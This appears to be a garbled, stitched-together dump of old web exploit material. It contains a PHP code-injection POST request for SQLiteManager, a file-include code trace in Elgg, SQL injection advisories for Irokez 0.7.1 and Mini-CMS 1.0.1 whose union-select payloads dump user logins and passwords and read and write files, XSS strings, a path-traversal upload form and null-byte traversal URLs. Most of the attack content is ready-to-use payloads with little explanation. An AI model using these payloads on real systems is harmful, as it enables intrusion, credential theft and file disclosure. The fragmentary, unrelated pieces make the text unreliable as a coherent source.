http://site/sqlitemanager/main.php?dbsel=1
POST /sqlitemanager/main.php?dbsel=1 HTTP/1.1
Host: 190.161.4.211
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3,
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://site/sqlitemanager/main.php?dbsel=1&function=IF&action=modify
Cookie: PHPSESSID=xxxxxxxxxxxxxxxxxxxxxxxxx
Content-Type: application/x-www-form-urlencoded
Content-Length: 332
FunctName=IF&FunctType=1&FunctCode=echo+%27test%27%3B%0D%0Afunction+sqliteIf%28%24compare%2C+%24good%2C+%24bad%29%7B%0D%0A++++if+%28%24compare%29+%7B%0D%0A++++++++return+%24good%3B%0D%0A++++%7D+else+%7B+%0D%0A++++++++return+%24bad%3B%0D%0A++++%7D%0D%0A%7D&FunctFinalCode=&FunctNumArgs=3&FunctAttribAll=1&function=IF&id=1&action=save

/_css/js.php:
     33:     $viewinput['view'] = 'js/' . $_GET['js'];
     42:     require_once(dirname(dirname(__FILE__)) . '/simplecache/view.php');
/simplecache/view.php:
     26:     $view = $viewinput['view'];
     30:     if (@mysql_select_db($CONFIG->dbname,$mysql_dblink)) {
     48:         if ($simplecache_enabled || $override) {
     49:             $filename = $dataroot . 'views_simplecache/' . md5($viewtype . $view);
     51:             $contents = file_get_contents($filename);
     56:         } else {
     59:             $contents = elgg_view($view);
/lib/elgglib.php:
     237:    function elgg_view($view, ..
     317:        foreach($viewlist as $priority => $view) {
     321:                if (file_exists($view_location . "{$viewtype}/{$view}.php") &&
                             !include($view_location . "{$viewtype}/{$view}.php")) {

[+]--------------------------------------------------------------------------------------------------------------------[+]
[+]--------------------------------------------[Irokez 0.7.1 SQL inlection]--------------------------------------------[+]                                                                                                                                                                                        
[+]--------------------------------------------------------------------------------------------------------------------[+]

-[INFO]----------------------------------------------------------------------------------------------------------------[+]
[+] Title:Irokez 0.7.1 SQL inlection
[+] Autor: Ins3t
[+] Date:04.08.2009
[+]--------------------------------------------------------------------------------------------------------------------[+]

-[BUG INFO]------------------------------------------------------------------------------------------------------------[+]
[+] The vulnerability is caused by insufficient processing of select() function, which led to the SQL inj.
[+] Conditions: magic_quotes_gpc = Off
[+] Code vulnerable functions:

[+]-------------------------------------------------[COD]---------------------------------------------------------------[+]
    function select($id)
    {
        if (isset($this->_cache[$id])) {
            $data = $this->_cache[$id];
        } else {
            $data = array();
            /*
                get data
            */
        	$is_trans = in_array($this->_name.$this->_trans, $this->db->getTables());
        	if ($is_trans) {
                $query = "select t.*, m.* from {$this->_name} m"
                       . " left join {$this->_name}{$this->_trans} t on (t.{$this->_item} = m.id)"
                       . " where m.id = '$id' group by {$this->_lang}";
        	} else {
                $query = "select * from {$this->_name} where id = '$id'";
        	}
            $result = $this->db->exeQuery($query);

            $main_fields = $this->db->getFields($this->_name);
            if ($is_trans) {
                $trans_fields = $this->db->getFields($this->_name . $this->_trans);
                $trans_fields = array_flip($trans_fields);
            } else {
                $trans_fields = array();
            }
            unset($trans_fields[$this->_item], $trans_fields[$this->_lang]);
            $trans_fields = array_flip($trans_fields);
    
            $data = array();
            while ($row = mysql_fetch_assoc($result)) {
                foreach ($row as $field => $value) {
                    if (in_array($field, $main_fields)) {
                        $data[$field] = $value;
                    } elseif (in_array($field, $trans_fields)) {
                        $data[$field][$row[$this->_lang]] = $value;
                    }
                }
            }
            if (isset($data['id'])) {
                $this->_cache[$data['id']] = $data;
            }
        }
        return $data;
    }
[+]------------------------------------------------[/COD]--------------------------------------------------------------[+]

[+] Exploit:	

[+]-------------------------------------------------[COD]---------------------------------------------------------------[+]

http://localhost/cms/ru/news/7'+union+select+1,2,concat_ws(0x3a,login,pass),4,5,6,7,8,9,10,11,12+from+icm_users--+/?page=1

[+]------------------------------------------------[/COD]--------------------------------------------------------------[+]

[+]--------------------------------------------------------------------------------------------------------------------[+]
[+]--------------------------------------------[Mini-CMS 1.0.1 SQL inlection]------------------------------------------[+]  
[+]--------------------------------------------------------------------------------------------------------------------[+]

-[INFO]----------------------------------------------------------------------------------------------------------------[+]
[+] Title:Mini-CMS 1.0.1 SQL inlection
[+] Autor: Ins3t
[+] Site: www.arthacking.net
[+] Date:08.08.2009
[+]--------------------------------------------------------------------------------------------------------------------[+]

-[BUG INFO]------------------------------------------------------------------------------------------------------------[+]
[+] The vulnerability occurs due to insufficient filtering transferred database parameters. Password is not in the 
database, and in the config.php file.
[+] Conditions: magic_quotes_gpc = Off | full patch of file config.php
[+] Code vulnerable functions:

[+]-------------------------------------------------[COD]---------------------------------------------------------------[+]
<?php
$id = $_GET['id'];
database_connect();
$query = "SELECT * from content
          WHERE id = $id";                      <------(BUG)
$error = mysql_error();
if (!$result = mysql_query($query)) {
    print "$error";
	exit;
	}

while($row = mysql_fetch_object($result)){
  $content = $row->text;
  print("$content");
	}
?>
[+]------------------------------------------------[/COD]---------------------------------------------------------------[+]

[+] Exploit: 

[+]-------------------------------------------------[COD]---------------------------------------------------------------[+]

http://localhost/page.php?id=-1+union+select+1,2,3,4,load_file('[FULL_PATCH_OF_FILE_CONFIG.PHP]'),6,7,8,9+into+outfile+'[FULL_PATCH]'--+

[+]------------------------------------------------[/COD]---------------------------------------------------------------[+]

"><script>alert();</script>

[img]javascript:alert('XSS')[/img]

<html>
<head><title>pLoEnT na HTML!!!</title></head>
<body>
<form action="http://site.ru/RU(или ru)/blocks/BlockPar.php?l=../../file.php%00" method="post">
<textarea name="BlockData" cols="80" rows="10"></textarea>
<input type="submit" name="Submit" value="Сохранить изменения текста">
</form>
</body>
</html>

/admin/check.php

HTTP/1.1 302 Found
Date: Sat, 22 Aug 2009 19:16:45 GMT
Server: Apache/2.2.11 (Win32) PHP/5.2.9-2
X-Powered-By: PHP/5.2.9-2
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
location: login.php
Transfer-Encoding: chunked
Content-Type: text/html

/admin/index.php

/admin/functions.php

/admin/index.php

/admin/index.php?path=../admin/config.php%00

/admin/index.php

/folder/dir.list